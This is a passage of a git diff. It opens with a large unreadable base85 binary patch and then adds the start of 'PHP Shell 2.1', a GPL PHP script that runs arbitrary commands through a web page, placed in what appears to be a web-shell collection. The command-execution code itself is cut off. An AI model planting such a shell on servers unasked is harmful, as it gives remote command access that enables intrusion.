zU~O`q^EF;tnPk1qoSfEUz8>kq-&>|kJb!ykW}P9Oa-a~d!8ffli|u34q_5<n6s0x+ z7A6y1JF6gt3QVu`DSF0-kR{aDm}MeCs&^2H-aij_okQpAZxaqin@jYzVG$<QmW_#) zjOBx<TOYie{j-C~XTP5B_As;S>Dtyu&f6SJoRGf#c^xq9%fyPSZ)l*zdTg&~YfUfC zTGACC@XJJnVP`roLs<#f4Y7B!7Pd}p!jl@JWg`|Ybk;Zol)VoQ4r0ljbj`3=AGmvy zTDq|XoU5{c3_HyXm@iGVISmV?BZxET*@(2SxX=g;yGs1}K$BcaK=oa-ic!|VW;3<N z&V#K>%JHIJNVGq_811-2mG(%`+~op^{|sq<@8-weVRW+3SlI<AC)(#3j=qML?1A>B zx>hIp{p_m^kv=}ogW3Z+d7l7<&$>Rnd!?+bWd9d+`|I$4Prw!%Z0a`C^%-;!{-wEF z{QiRvY((>(ExJ&z!q7L7))j-w{Zb9jN`zH>DFw;}TSUt}gVj#h`qHO|r*A;DDZ&G2 z3G>7qWRns2fZ9fK@?WIep#OKp3y1FfP<BjG?(=0ja5(BCv~a$Jc#JCkx;s!;nM9sj zSXwarTyFlUEFhfBhDpG_FgO}l`$ANYsYNB%rh3k1$kGAgq|m9*xEMV^xmcXqjF#;b ziz7lh_a9U&?spxuS!Q{%UN|wY_@=_z#p`?%FG}I3%!zr}yz8Fl!3AnMY@-4yk2nj5 zOx;INS1K#O190ldWi4V(U-mrI(vN(R?PsFsfnDIHjz?9xsT#Jv#Xc5(cCbL1mOmxJ zXF{7}9Euu3%;eS^ThiSn?mPfy7Cr79>rRtfYAsEfnai8Y=4IJ}UWG$W{Ncum6LmXm z=3#Gj%qH<R);|~Zv1<<x1Qe7|n<hm+Q&ERfP^nI~$U{-Up_+Hvp|By8b;8$7UXIO8 zmI>#m&0m>mD=YS{%Ls~qoyU+HO3xW*oAj`tU-e@bI?^G-4)=Q)FBN_D<(d^=A%!Y) zH5v(>HtzXK(gn@-QWh5}mdp)M>(VH4yW$7E=6R1NBS8ZAl`!he`!%+paKR?qc%HUZ zg+thX$cMMhCALkU{V?k+)@gG3yqHi`!K3~bcnWJfWivOQ@6FsJbsL%rZE#%>H9V&e z9m5;mWtwe?awNGgF&p@b@|~JdJr<2{w72NmSQXqp0gl1inc+`K?6?ff8?X&A@3@(# zqs+9-)N22I(*D&(8htvMEF$<+Sn(AR(eG6*zbTw(lvOyvoZaD@CJjycN?!yd{eB{8 z%39qF05CBcb6D>sc2admlLjldCjB_w<AbD-emvmapGo;LJ}jSNp0tVCh@|;`&iHec z>F8$N|A)HvF02}!BMzlwyRRGbgXQLrD^?HaUh5sm2JLe|n^kJ&4KY)}*>d;A?>{mn zatW`yb@Y0>1|7XQ9trmqbTRR9dQqQN!C}9@{(1Q(^1D}bB*+&V8Gk19q8Gt}{oNQ) z9Y^e}oSh-gn)<bS1_#7Wk5D1@W7SXJxotYPcW=%VXN4wd`KhWQ2uZ71gO2)(H$z48 zPde$EdtW%=8a5N74$G3eEL7O<pr2UP<Nhp<tv@Ma!FnbY9mIm5-Tc}3|J65C%1`Do zHhej7zcjv&Pqe06fT7(G+~XIqCj-k%s_!^5$_#$y_SSj>Z{#ivTo05_>?^v5RzlO! z={~(Km!<u}!&Z&r{AegPnAX`(+Az42i0G`B%fP04?fow8)M1u9nn;<PBxTn#TZ@{m z$r!!1F}@2GV~z|aYmhLEA>H=YD3AZ1-d{6j;-TQ(L^j2@>N8E>tZvVB#G>2;YDU@i z1Vea>B6fifl-Tvb>_xP-JBDKt$0r&yi&HbJS<^<<Aaqfu9k4cU6Ub2fXPf2dSyY*R z1xFX+%oX&-^nLz`r3JQ)!fE0Ctr)4YpB9`4uQy`9uF**>q;LEB**bZxV*IKL(%s-E z>XOAH`haqh=qL(c*k<{X|Mj6yPZV1UCeI^IF;s3aZ?vehv@^Cqo03vvz@tXfOvpsc zij0OrZp!Q|OVV?E8C9ygXGD^|*<<x7OAY#FA;FG5!4Nn67dd6xUXH?fBomu>C1Tqr zC&c5yy*dWEP1ksA(TIX8QY&9P96@fQn-y&b065EwmOXz{(;U^qIYL+7hkkqkrk9Bh zIYWt6u)OP}iEWv&lx6`wxY}Nz9#%X!<ZOE>rDWQ*P^^|Boa@Ih#p&{Wb2<8N6WPBi z532{LQr1vH1m3p_ysUSvpDJ%r`LZi?k<~lTagK<`d~7X~)i%snJMO<p;bf9$ay%U& zTpm;UGdRrXF0^4gmg(=(HNc#G8LC~+nZQnyW@i4xYbiv4VwlN|On-!6&;KPKpZ4YG zvZu$s`_*&z5r7xwKo9vNvEyB&qabvKvF#!{pOujlEz%@?kY4dErBC_tP^Blud9xCg zrs9It`*a=i>cm%VZ>wu%$|ZD(L+nskv4u{#(u-ndBI;t?_Sp`hk#ImK$UI0t!<w2B zn8rB&x`g^vDE1@eNA0{ZWuwa~MC$~`%r&R?q@cWx!rHytoR9*@_|g9GrvuS7L%kLj z>=#z|br!_&DGnt%Ch{Y1$0m4MrNmLMQPHX!bt~M^v!UFWs3B4c7*27YoCU@5TbU#6 zmsW<v8zZbLHh_Caf=6UKS9+--o1y*qB4b03d*jhjHDfj1C9}Dt;zdskdc(E0y3Tfm zLbHl(Fdnyu9ofq_)TUrCq`WIKedC5TJF6_wBL~QK+9A-WD==!0tX9ynMv#;j*R=YN zV0bF1ikG@A&3;0w^dMF!J<~I!xDSq=Vxg6u_0!PJqfR9hy#5!{G>Ph@M6*GHNEW@4 ziHK)xvSH3>Zbu*rvP5tkM{+wRrBk_8Q}X&U7vH72oYC!%O#&9MLAfHnP^kdgA?{2S z38A~K>KYZkU%oKQEYIwDMikR}3pjD9&^prO(a+rYJPZcnK4OMU4-Jh4#J(i`Q!4JA z2RD%{Hr|WlM9&y-b9L1Ztx<{i99}4{7uv=iWRTuC7qyi`VPb6@tS>6W(P;ljs{NP{ z`BrnDsTJtoK6CT1KF6Y;w=wTlw*d)h;YZ$?4^~+n*znl{)ySV!(#83{sig1uweo_2 zqDDfLKWy9<4tTyNw5zwcpfh3*w8fc!?`dQa{d4e+92Ee3!iDPS^L|EKS~zA8!5?4e zMN3t<4x0azq75OM@z$H~nyw$=KT^}OFV`^PA~*RQ@@qX>o71#71M#9QYy+WeEPA!o z$tLN&%059wO}(uC`q5@gok$bGMitUZV93SHeXk$z0i;Ly{xbcXbSSj8!qApT#iQUg z(D_y=(U2fZH!XRh|5Jd+IwA2-8d2^gPY;z~h2yD^kg9p#aB7XX0|^ZGwV3Y!q|5IW zdQ7eA#xure&o2-f|EnEMp8umO?+gd8Jl-N}r(%N+G?Ixh!XPBZ@SCHAJB<J>`IC%J zf2^^}3EjqNUtSa5$)>u6a!3l}@JSkm8Ya8KTHcP~27xH>j}t>)KtOvl_an@s=T9{c zS{^^iQdG3n$E?e?vY&9Jz46q-qha1cD;Xiz&a-MFtPI0~K2P^LH0L&0Tol`3h!5cB z1R#C?<0xRq$JS#AWIh9BDDA!uQhH=4v%kDe`h9ZsU4qf9^;txbVQwJBAaY0_OQ`ue zd9<_jwXo8R-Nl{d44xNzYUlB5-p-AVPl_*?jSB=&ER(WZ_eL2@As45%7ibIrh+OsA z$TVxlL<m7NwnUt>^D02MOBU%AC~ADE+6Sw}gwyw{@+1^Bw#Eu$F~#Bc!lH>bwetz3 zO1#|{kd)O8&di#RN*S^Hk8<x2^IU1~8b;%=4;5kZb6Q<_<mo)UCp%@HEjOq_PSl<L z2$|0e?XfKJZGyD>xmLm_w@q#C^d$ei>fetz_z$^YL*XyEhLHw(A4mF0QE72p+9KP@ zTXj~C^Op!!1||`ES~e#TbQ;8ls;GkBtL6QOt*ZB}DlmV0@neei>n4#u{rwMO{Dt_< z4H!YTLA)^N_UUi6KQ_kx-rQeW{|E7&Lmd${WvJYv0b%TMf3EzoOZM-s{~qwa)$H%d z^?w_f|5PR=KR__&w_WLfIl7#ACZfvW&@G0eQwzTjNOzrR+Z-NC$zpZVYyu;)Fn{Os zNUo!!tn6N<W$xAW^Snt_1OKXgPvg#4l4X*sd;F8*uKF?&k48j0@4u27x6Can5{;0U zW~y7B@D=Coo=H~rnecv_V3<_YlRC+8!hNS2B@7%sB*RE7j`fT}taTyaWP%oGrXsdK z63TjUL?|g9+FrLd9ypcR%a#RJ1BP9_y}R%6ea07{4J5hiZJDNIo~)xlQ+(BF`%vXO z{v3rr35X}BxnYv|3jiS52w%sF7p3@|^mgB>N(4yg845xlr~-R`&^K(B{%_UY=Qmt! z_%HB@2oWXGdx;*5-dlob(W3Wm!jKu=7$ri25M7X{iQfBQbkU=?84M$OkkLuh=gjlw zth1i;5Bz>F_WQl|y7#*8>)PMzvrDW#Y>L~&*n^O-u+r3N+<*nv2j^WLFki5<cTr&Q zmGbvq)emak{=Q_XnjOZz8Zldf4g@4V+o^HXDbxY@o^{u9309&ecNaVRxFwhWc><Rj zSLD)me%u*fZJEbN!7So{*7h&B@OB)5Y;1(Q!WG6W@+)?a5D&M|DZn=9?BKY@))OOC zJE$N~qaRe)lxN}`>ccd*OeR|E=hf+yREf3!VW7}@G-ip#hM_mU<AVtJ6HA`Dt3B3c z=hDUXHH>~*T#c!eKatBjn@Y=YgiRa3R@~C{`^mMQH(WGYYnBT2>K#sgxxhAN(~f;O zF{rAQK>CoO&L(?Zs5M$`%B?!MR~qjT{ITl%0{!iGrSsm}<rQ$_9aCMr?=?qu_`Ea` zfFS=U;%_L>G0%E>b&hX1_Qwyc_hXVJIc3Z)(Dei7O~&E7l3Ba=cS>tyC;hU%BxJ3U zYp3fd3HRCTzT~22NzoeH><)E)#=NQch@OkZ3>H0z5n)%EPF#?T*EDWzJ;rIPCycY! zrRlZIbAO^fUXPgHGpOpqw<=dx@@Y@I&Jg&SIq9H&+RX=4y?w3YX{(>tW*}#z7>Kyo zt8gkAtwo(LY0tXx?kLyax2IJMsal6CePI0@XCXS&qMOc2t>uWqm}Jf8(R`^_uSl75 za1#^5+sW?ev*~{T8#4G=sp_WNj)xlgb-&y797}DBDy1*Whc0^Zv|A&Ih~Tg|{+%T> zPdPXfIQS7l6z>RO#pb}zan|M*w}B=E1H2gr63VM-!{5&U5SrI#6q#%v)!`ZlS2n~? zV)PlaUzRnBC*H4s|KfN10^q&+&3Af=elKleB_a`fW^#{S?BgTeE>GH<$kI%5dF-m1 z2BD>an8{Jc1~GZuIso<qrrid)u|^wKS=r*BLYwcjTa6g15oos3d&#<AQUcE0OphsS zSYF(vzo(n}-lj{ewTae(e15YbR}gu)*_1{R15u7Iw%$QCyESt%I9MP-#6lGVza8Gt z>bYNc)l7amHRw9K%*0pd>*nCo50Y+KRJ(sjTzh&b^D>S9YSh^9?%)NVyLkCNsi7at zoiwl0nDokjOP#oN;6q<-WbM<)@Ke$GhY&pzpZd<$*9i1sSist+%HVsny}O-)$l6Y= z#*sF`mV0>7+Ji1jAuhwjMMeN?)k2s}yUxH_`SgQ-%qm)nfp-QX882^1CASs11%Iv+ zBmQlcOxEE(pX`7FD(qzih%Z0%V6zy#H+>UKklu9LRYmbV_5>pQ;|3@Rp*E+JF(}tv ztlD^ElKk0(U225#@lwcOye7bb<()Y$#JI+$IytmipU$fIt3y+>MWKWea_PI#)mtM< z7-eI^1!FgI6DKpwjedjA`J`Ue1e56fOa7fXx8~Pf8&)buf1Q94dH^xvDjw8+@SF$^ z<pqvB2M>x9-NTN!^rlYkM)~4`05geTSc&%2FI*`E74HQZ#=YLY?eNCd6-D_bN_4ha z+U|5_x>XwoD7+9H-#l9GsJ~#6+E3lETvm4^e?P-0T;1s(hhy&1b@`ceRhLU_Zu>V= zkhx+ku;2AgdzUR6>T-2uL~DJyRa<Uga!vP6vn-?IEVTZ|ve{M8PRVk0#zNH$Uyil? z-erTr-p3C>4*3471csNOjpT^(M4v!f9<R%^vGKB-<RZJ3oj*yo2Im)0p@JvOR;si; zJ+QsUDmnB0>YyWldr*2h%6##8(;qZ1r87&`ehRP}>zlN~_kct-n(=C3M^L1U-&fNX zgM;R!uGISC-3Rnp8FtEMI|`xXVcVQ&@_AmRc#J#VlSu<7RJ(EU+M@QpcZ3GB9L|<- zy6{o^bgjj@(dgjUyD1(i2pJ81@t~^fSpBPq`R&Jxwi4!t$A4=E=u+$!?WloOSqs|! z<V9UP41KY^-UeR^xwrzviS9|<QYBLSGAd49#Vk`lk6OD^+TI#2rp}PctoqE7MCcAT z!M8wes(HB%8T>NQ{1qfcyG3`IfLIT8?xj+bivQYFYik#{iGZ8DxGG32{McjkoA|Zs z)&%RrK8^Og-osxgdP+6lN}H-EJMn)2ZC<+X9iv3U6GH1&IKVZXEAd^T_#VuyrZLZ4 zyF@QxLtm=CR;;ualPZz^)XLpl0juL>jXldIls~z?U<bGQDn#rX7&~piKl)Q^D49fD zS>@4k`+6=#;QXv&U^<#E(`GRtzF=1m#5%W>ncc<B6HQqON*d~mx_#UT(D%7VZ`O5& zJ~b!De-g9~`?74J?eEFc*K{;NJ#pWd`^C?CqMhVfS7OG>E^-fX4>qb9MAlHs@;)#f zPOH5rE|Hwu=ld7URkS;84JNPRxj|GHtdW*<Bs>uUb)@0CNg1@9Kt6<yB#zy~L)(%{ z%m$aYh^u!+6Po$$)$8V{5QyVfaNQV)6l-rFIeu>RJDt?>j<#Y`vZZM@2fsF-lE!`M zYGod}ka_n^ni}%o0rpNpdSiQxbTTd~yiS00E>7L>Tw+6ylCzmJq99Y+z8yQ^)*~V$ z+|#-27plw|#!U@I-=7GW8o=1u#Lzn^b!xDR!@CWlz1*9n(YcR1+ZxlAUOD@eu@($m zX;4YD4E2Ja6GO#i{3U_@#NRMeHjSM^!Ab^wqD$Xv*m5D$DB186z7*3TeSH$(TlrwL zOxd+2vKBGRkzsm>D=sVQ>D+p<l&W~8bMa_!OVH~<q68nGtX+%wZCA}6^cNKp->7^{ z)K;^5xs0pMVvVfI`Sj=}-}*ygrg{qqJN4e|WjB|I93l1ODP!x?M9`d{bs`nHfx0}T zk;=fgxGxTEwtE*sadpU$_RE=7i*TK%L*&g{#QZ6fVAQ1RY<`r|LmfnI!)$wUSh)e` zu%xJ-7_j!S*LdGPpRn}XhjIi3h@+_HGK^bO`lFqH0E-zJ^iLF1DlP=c$cAP(-{o36 zJ}{6QI9Q{Y@Z7un2M|pK-i0-qKV2oa!^2ZE(5)`%@kzTe2+R4DBv^a^1B-m+BuA!v zv}4gJb`(Dz>uIky`#Ps`b(!bubhYrjc3k<ekUkyN5`ZQ6_z5}d9Bt1+bxrlPR{9N8 zXti+)x85w;(a=W1Ynoz8zICSskSC3ek8gK5@K~(=1}Otu*`+j9!Gre4(T`*MABc?p zH6nTZ1;EHSE-oMcWI9cozv}E->KZ{i)u9f*3M}X=D{z+&hwv2CcS(DTV}`R(Cv=Je z7kO<LF^o$WrwrRcdzPK;$l1r!g^f+`^wzeH_j%KFa7%`UmhuE7kR`vKjf5Bncg=vR z3&^d<#J2Yn59j>+_Djs*^a!W~v*OOgn^9(CMY^!r?o`*8V31zH=r7zKblvM|_tTiZ z5C1sN7XwP*#e<wXnU*LhE$OC<zzAJ8g))eWJu84n8Buc%@;?GTUBzJns{X*tUx0Bp zVdhFy`OV0PeM+gusWD1!;`nz2Dm{#B?<sAxkIV{WqJ;f}Lk%=KEb}cOKkLj^$Y+b5 zdpBe#)Y`aisttI_n+oR9S_RtcwM<El8EZ8|9!#0uVlPs5UuMOD8T=KGGKM$n8h=i) zG*#BncHq$4p(1TMTMxjCD`@-~FIn9Obvcf#*fTfF46?AoSoJ*21O8B~PHn+XMUs7e z8wnrkQMx3>^3GMCwh5Zd<VQd>j&~J2+_t$N^Q8-EauAx!ogYjibLrf@ONv%j(RNwn z+ETvI*tM(y8Tsc{S9?^J25dP(qH03-Q9IoA{L0pJu6OTc0J8x;nzVWT>%r%ZDChcF zzu+Cm#z@?Dozc;tVm$+jj#CYp$l#eVTjP$EgTNt8nWy;t^}8?rx2<d+4Xu}YVDwoK zMPE&1MhKJvq)q4oBYYIv@AGnDmq{l2^nj!XPP$^i{;8R6^7HKkL3pPTX_IyK-N}X; z2BLE9YIl@88v<6SS!C_DC>98z(<+2zKX0=Q1d*OZeCzZq@e!hz=@Hy3Slm6g4_<&P zM{G^8_GO5wOTHYI1Pk?jNd8QKKkgTF5-XY@wll|zO2=we_RMNrAw=QDNw|PSe#=5b zuCJz`ZMQh+1mgfj;KD5iE#j}FpjQ_)KpHjEkNt|izYkofr8HGxPWX9ECCeIWQY&s4 zmuhW$;eTCq67ZX4@A4w-%bcN2Q{vhTZ%V^%l8xfPTHy0^rqI5rA+Dt2LrQx$*<ae{ zyx&@m)W^1CMf`vYFQ+S^Rnh|eZ{m(^CGfeeWVK=%ignl<BDu(jsxf|qhuuMO!b;vX z<%yupZu}_0hBadW{XMb>V6XQ}FKbrs6e4%46OS=-vv<a5MFXeTRx~ZqI*0@}tY!;_ zcfholUv~&MF_!JeFx<5!!mj4%U5>Hb4N|IHbWzXoEL{3Sg#&JCGWaV=UtcI@Lu6$! zSJIW4CTE?u20A5w3RxB#1L|#hXr|P-rwSXWI5iwdlf+dM{<0itlP`DlcP&0{iPeJN ztjP-Ya2(72jCeTR0yMYC4ZcycNZ@GLX-b~A?6ZEl)2u+ke#p}Il&(r+=A{)FOWNoJ zf#9YPB$|PmcOJGE;!TTsb|g(vgkhXbPM$rFM_13lGN$$u`s^m8Q`4OAaM^m$+fzV? ztej1b%i+f^oRG4IsIU+q5cv{t7eFzK=*EST;+^`W|971JKO^%xmWQ~ptu|0KIOu(V zReYlebRgJQ(WtMFsxo|XLzM7QZ;4#xf7p3*^S|*Ic#T~|?enanT!ni;x~F$l&rOkQ zP=?owCfR1Aa&z#<(Ipi#C6{qHA%!5b{o(jG-%Ts{z=0tOO6gg1`{Vf|>)tPfj(5Ex z-`W=akv_lZP$GzpNB~s|OEzcq$+y?LUq-g`3c9_1y+9|$4RTKO%^6kQ{7Cs$`4>^? zj`IDKk?-`Efo;;4xh2fN{vkHkq)Lkm@X+erTH*xl*DlGnMKqRHqtbH>uw2$CxTKVJ zNChjWffOXdbySd1>tcf0H#eI5!D@!y>{*sV2lWeNSG4}@K6VY~DG7#vBIMZp%4f7x zJ5@k;Xqvf_?%<6RL)5|LZRNY7jI*wb>~`!Uxa7ejOmV(b3yNYw$#LtxDxt+J^!K+~ zA2}!Q#mbUso~9%9&I(r;SwNjdRSY87r;js5GkvvNHwF2lNi`v@OP$s82I8=T-<u`} zkI2(D#}HMh>|~u#M_FVPV|M<JfO>H{Mod}&;OEaZ<QTIq3Ibi0#OT@UA;5)sLvwrx zk3cI`%UB_vLSJOe{CLH%+z>%qEB~`I0WgYkr%A_?xjmXE*YdsyS8DpJ?z`OChk)Mz z2HH_DmiFjgdV_F<G_uIfP8VYZKP@ARq4V9;cr%5d|JDAJZV6ufBUXM%-eOBcQ6!AF zrfk{5Lv?(`!~(UW-gJR>!i^ev-VyICotNXP;_jr%oiS``JG?pT%zj))M<fR!+vOxj zz6jYvL@VZWA0_wu(-=A|ZMqzS8*MrDm~Mdkr|V)To(?huzWg`qvSz9_xiA8SI0sZ` zOo3)WkMyhHthO@UKjz{9Cd-Gc#Oi>1cWdv~aPLe#V^rpxK>*FQJ(NUDnOw$uLvFQ` zKJ6D!6lw3Yu!Ltj{ETICje=JBF;`LSZtF9JpbiLl^PJ8{v%<;xGc9GPQ+&~iDIP`n zX{mZJR%~M3=*}DZ)+mU)p0iQZUvTn8fVYarhDJ1WMJya9bmeo05J0k?9lPimQGyRG z&v^PjM^63bJ*mPOVMbgX`cub!a9a>QMS+dC`a$OQ>ZWH%X>E(meSEOQJ$>3@FKB~a z-Z}*oh3f7V8qU6e-Z~Ss{ERf^W7U*HuCABcAW+|eCOlmg?l_k;3Pjz1*6q6P6|ifP z_sPNGk%v#Lj!K8Vhhb-Z^O3HMIhS!jLwLT{*J&u|*+gRo6(=npfI{BoMo`|PiqqB# zwJ&@20f>WuqDTY%m=Toi?_WI&sdNRr6<b0>)ct#@8Hx&~tnqc}&_!2!mc(e|ugJn6 zNg1YuB1tC2*G+YrtHFKbd>M5vsgIi<k+O-BD3$;2T8Qo;Ssk*sGAa$PW>;zV6nhu# zG_n~N#j)WMx;_?kkG8$;dfEuQtZ=|O<9QL>#6!v!3=@(WG|KfDvlS6}P1O&I?rkpT zFl<3SGs&*=v=fzIt0Bel_~*zUaiZuj28iI`VAIJOfDuOH`XV$fAUt8K?S%lFIM8b1 zz_#kTqpQlo=ihqi+hAa{;q=)J{~~3zwQfq`p?)S0hM`D<EdCuGKI02x%W<!Fe*z10 z^{+B0UAl=?1GWd`GIxf<(p*ONAGX~|5Q}5CTb`p8>sJ-s(8kzRR9_x1L8RfgAK|?5 zC4<F-rS5vp(1i4#flfyt#_{EY2nMo~NFyzl1Qkff%+950bw-K(u9)SZd#%oPpxv=H z<HZVR)8t)g-zYM1c{Y_(0RgNuuxagV?poo`U&Y?ETz`n`*G0_oVk!E~i16o37k){d z+R47VP=)qt%a1PE6cI(%S6?I<Pup?~40{(t)1N@vfpE%~8q>e;ziyIub|cJv$Z-1L zNxKj9Snq7EANLOcdUJCbqk;N&f~%+5Qsfk;tVD6Vu7_yIp)zTi$ziiddbk|UZ}j!( z<ZaL+xt#`YLYUb!W>kWv)NsH%NrPNR9e(1jcOH5M#Cwr0Y-DrPy}iBWOsC?%RH-3| z*Dq}0th9<N5>W3*zLAX}>de+o=GoT>%+<1>S#uL&mP}7kd;wnn_&Lc{36|jctAltg zp(~-ctrU$d_NSAD8%$c6Z%)cEm?r)5ZCoP|8q&xA?HQHl0G0&PT*2lx*Qk(n1JjxV z);L8ro^XiiK|$seG*qH{h_{4y$7R?Ap|Q_=x(=f}C!f}D&5}ihYU0o{a9NqB9VZW* zVRs|#N;YjwRt^((1F#&k{^T;|5!e+YH|*Av%D8$#0m4zwEdcVREXeEr_<h;xlvuhv z^w~TaE?76ia#F-^sCulz_PL|P`z1r`cj3w75*FsUk7mt{J6fmwOZ`q;Yhy<|7T^;E z1MJ|K=2G^sB-7S_>eg628yLRKQA?i*;aJqDDOp;u8vp|RW@j=<9EAF5QjsjO^V(c; zX5&-Ssp^NQ=6tYVVNVU_CIL&IFqL7@SE?Vt$S`F3eVgyW`y@G*cXNiOVSATnRFfO~ zitMoR5nouvZk=|i)O(cl^ui(o6=4$j7$RrB>uyfBgBLOP{;wu;CTOAu$XBX;g3w9y z{E)%eZS|Sas3ya~h3Vy!F#EiVTKxUBY!@6Bstv%DALnisW0OAsUpPAYn;G-^o`{)o z_;vH43Z}0W%690{I*>}0n=jtMJnO2c=i{U~qxrU10s9js;}jCvl+#nHGY+Ccex%DH z>aET7v+K4mws89!?dh1HhQ_Q9V*A9<$wwgz016N3_3mkR2?JP}yWvPM4A{Jw%WN+! z6G4xCY%1KZ#@?<Y9U2Ar?e@*>p>ambVN=0PUHQ_yhX>fB{PWm!Xhz78DFHQ2<RS8< z^0739)}FD&Un8LS`PSNxRVQ|bgn@ylBAiq7d{+xj77;<NZkK3vbwRKLGUw}#*e`kV zgf!|ebST=mA^fYqoQRZr8t*F_NOi**F%TLc=U0m0DwQM!HCYa)6_IjBsZy|%4VhlG zD0wvJmtUR`>o8;zMf>I(lwD-h+4R6+Jkt*wJ|#1bYq?_80HQ>+Uc^BoxtHS)DR<5H zFB@zSEe-FWG5(y^I3bG)fk#)L-z9meCIqAH)jc%wOZ?C}eweL1M<st*2K_XOyl)mz z)Z&WnCj$<7@+~Onf!AnAr*eRB(8gMw=LRy>068PHfigCjtHxS?@_cAZ@>QGJuYB4e ziV$jukVsK>xFfYkWByv=9;2^iXDg!PAS^ogAAlKOs!o_as)Rs<ZpNykeMT4|=n;It zKSq|z*q%I@|9;f7@!rL=Zjb|h*{@}b^drV@Hsi4+ted#S(SxT^HQWYIoagHx4@wd{ zk~Hx?;{ku=Et0J+nCCpe3~{p@V4e8sq?B`p>Xvk20|m-nVZQ3<WN$OgHDv1pz{3Pe zUQ(<l5A$W#mDq=YR%|{7kLiNZ^oaqJ%~3UE-N>aMJeX$YhB=a+0pAFP#U~?7g;m@u zdh7U22H$&mEsSriow?GM?3%SgQ$q=<_Sik!(!q<k_NRf*l81X1Hjil_0N4Cju2~4P z>5RyMD{4P?U@reoBPn7<0zxj<7f1|v3t0EAM#UypsWkoGKbZ5Mxd`@Sf3hu{uBOu* z%ba8Df8U>XwsVdz+LMt@<JFMcIaz#FqhmM&v6Qn>7evRPk=o9k_k0ltor{k03`rNb zZ+d*x#uBwTF)A?wfX$lTz-^^-P;G-XH*L-7JtH?^b|ra>fiXD0F&&Fk9TYDbx(;Nm zIai-N{{C+BJM+jO<FFi;uQY|2so$q4a`8dEIbnZ=EK;L-=D-lSV8+a6uvg{+n1O>V zfUv&AAnlHc@#U$|^hfg(TiUdaW#IJU#mBTW#nX7XQ|Xza3@cwH{2xn2cy7Df$GT5s zJ`HAccbgm>$5yzO+8cyb*lSCd6~}A%RKDv)`xvl1Ip!TE_-$lDx5<2OEC@t{QsPDn zqQ~H20n7ADl`LK8vt8c+`SXv(^C}=$=Sp=?0>XHrkMM5x^O3wN2gGn^?s%x(l_4^v zyD>eAofNAc^MaO2I}I{F%pu&9*UJ{E4kFX#z-TX@wR#?Sv*uKKNpHW17<tyPT-C^A zlI!>Om&_Mr2KdhWMF{JteV1&}Oifq)LA83vR<Y#X$H6u?>t6FH2b+Bm6%G@>u>1b! zx?B${j@E#YE)(2#QT^xEcK^?kO{>L;FHcTRQR6qMksXMq>uh19pJ1VkZ!P3wx-P$M zFXP0r-RG(f0*$;E?TDt_V{+&Y+nNU^M<8(B(i%XyB|t=aTwd*q(CqMUG(q*3*Ls8Z zwmO1%ZmjDY3>&)6Zo<CY%QjYVCX|uk-SUe!)BZsyUdz%n)jhmTP?8_J2HoWNkDc;g zpCrKazY&XnX(uyXWg5I(_3GvSV7cnQ%GG})tN%YM@_(fje2LibFDwK2-*Wx4@P7c| Cc7l%p literal 0 HcmV?d00001 diff --git a/php/PHPshell/【phpshell-2.1】/phpshell3.php b/php/PHPshell/【phpshell-2.1】/phpshell3.php new file mode 100644 index 0000000..cd9a3c0 --- /dev/null +++ b/php/PHPshell/【phpshell-2.1】/phpshell3.php @@ -0,0 +1,408 @@ +<?php // -*- coding: utf-8 -*- + +/* + + ************************************************************** + * PHP Shell 2.1 * + ************************************************************** + + PHP Shell is an interactive PHP script that will execute any command + entered. See the files README, INSTALL, and SECURITY or + http://mgeisler.net/php-shell/ for further information. + + Copyright (C) 2000-2005 Martin Geisler <mgeisler@mgeisler.net> + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You can get a copy of the GNU General Public License from this + address: http://www.gnu.org/copyleft/gpl.html#SEC1 + You can also write to the Free Software Foundation, Inc., 59 Temple + Place - Suite 330, Boston, MA 02111-1307, USA. + +*/ + +/* There are no user-configurable settings in this file anymore, please see + * config.php instead. */ + + +/* This error handler will turn all notices, warnings, and errors into fatal + * errors, unless they have been suppressed with the @-operator. */ +function error_handler($errno, $errstr, $errfile, $errline, $errcontext) { + /* The @-opertor (used with chdir() below) temporarely makes + * error_reporting() return zero, and we don't want to die in that case. + * We do note the error in the output, though. */ + if (error_reporting() == 0) { + $_SESSION['output'] .= $errstr . "\n"; + } else { + die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" + "http://www.w3.org/TR/html4/strict.dtd"> +<html> +<head> + <title>PHP Shell 2.1</title> + <link rel="stylesheet" href="style.css" type="text/css"> +</head> +<body> + <h1>Fatal Error!</h1> + <p><b>' . $errstr . '</b></p> + <p>in <b>' . $errfile . '</b>, line <b>' . $errline . '</b>.</p> + + <hr> + + <p>Please consult the <a href="README">README</a>, <a + href="INSTALL">INSTALL</a>, and <a href="SECURITY">SECURITY</a> files for + instruction on how to use PHP Shell.</p> + + <hr> + + <address> + Copyright &copy; 2000&ndash;2005, <a + href="mailto:mgeisler@mgeisler.net">Martin Geisler</a>. Get the latest + version at <a + href="http://mgeisler.net/php-shell/">mgeisler.net/php-shell/</a>. + </address> + +</body> +</html>'); + } +} + +/* Installing our error handler makes PHP die on even the slightest problem. + * This is what we want in a security critical application like this. */ +set_error_handler('error_handler'); + + +function logout() { + /* Empty the session data, except for the 'authenticated' entry which the + * rest of the code needs to be able to check. */ + $_SESSION = array('authenticated' => false); + + /* Unset the client's cookie, if it has one. */ +// if (isset($_COOKIE[session_name()])) +// setcookie(session_name(), '', time()-42000, '/'); + + /* Destroy the session data on the server. This prevents the simple + * replay attach where one uses the back button to re-authenticate using + * the old POST data since the server wont know the session then.*/ +// session_destroy(); +} + + +function stripslashes_deep($value) { + if (is_array($value)) + return array_map('stripslashes_deep', $value); + else + return stripslashes($value); +} + +if (get_magic_quotes_gpc()) + $_POST = stripslashes_deep($_POST); + +/* Initialize some variables we need again and again. */ +$username = isset($_POST['username']) ? $_POST['username'] : ''; +$password = isset($_POST['password']) ? $_POST['password'] : ''; +$nounce = isset($_POST['nounce']) ? $_POST['nounce'] : ''; + +$command = isset($_POST['command']) ? $_POST['command'] : ''; +$rows = isset($_POST['rows']) ? $_POST['rows'] : 24; +$columns = isset($_POST['columns']) ? $_POST['columns'] : 80; + + +/* Load the configuration. */ +$ini = parse_ini_file('config.php', true); + +if (empty($ini['settings'])) + $ini['settings'] = array(); + +/* Default settings --- these settings should always be set to something. */ +$default_settings = array('home-directory' => '.'); + +/* Merge settings. */ +$ini['settings'] = array_merge($default_settings, $ini['settings']); + + +session_start(); + +/* Delete the 